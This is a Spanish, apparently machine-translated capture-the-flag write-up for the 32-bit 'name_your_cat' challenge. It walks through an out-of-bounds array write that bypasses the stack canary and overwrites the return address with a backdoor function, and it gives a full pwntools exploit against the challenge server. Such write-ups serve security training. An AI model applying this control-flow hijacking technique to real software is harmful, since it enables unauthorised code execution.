wustctf2020_name_your_cat
paso
-
La inspección de rutina, el programa de 32 bits, canary y nx están habilitados
-
Pruébelo localmente para ver la situación general.
-
Se cargó ida de 32 bits y se encontró la puerta trasera cuando se recuperó la cadena. La
función principal
Namewhich ()
Usa ideas:
Debido al hecho de que la matriz está fuera de los límites, podemos sobrescribir el contenido después de buf, y debido al canary, solo podemos configurarlo en ret por desplazamiento, sobrescribir ret y cambiarlo a backdoor.
Proceso de utilización:
ida mira el diseño de la pila para encontrar el desplazamiento. Si
no lo ve, gdb encontrará el desplazamiento. Cuando el
programa ingresa NameWhich, la dirección del parámetro pasada es 0xffffcf34
. Después de pasar un parámetro, la dirección se convierte en 0xffffcf3c y la
dirección de retorno
es diferente. cf6c-cf34 = 56, un parámetro ocupa 8 bits y hay 7 parámetros en el medio.
Por lo tanto, cuando el bucle for se ejecuta por quinta vez, ingrese 7 al ingresar el nombre para el cual ubíquelo en la dirección de ret y sobrescriba. Simplemente escriba backdoor.
Exp completa:
from pwn import *
p=remote("node3.buuoj.cn",28477)
#p=process('./wustctf2020_name_your_cat')
elf=ELF('./wustctf2020_name_your_cat')
shell_addr=0x80485cb
p.sendlineafter('Name for which?\n>','1')
p.sendlineafter("Give your name plz: ",'A')
p.sendlineafter('Name for which?\n>','2')
p.sendlineafter("Give your name plz: ",'B')
p.sendlineafter('Name for which?\n>','3')
p.sendlineafter("Give your name plz: ",'C')
p.sendlineafter('Name for which?\n>','4')
p.sendlineafter("Give your name plz: ",'D')
p.sendlineafter('Name for which?\n>','7')
p.sendlineafter("Give your name plz: ",p32(shell_addr))
p.interactive()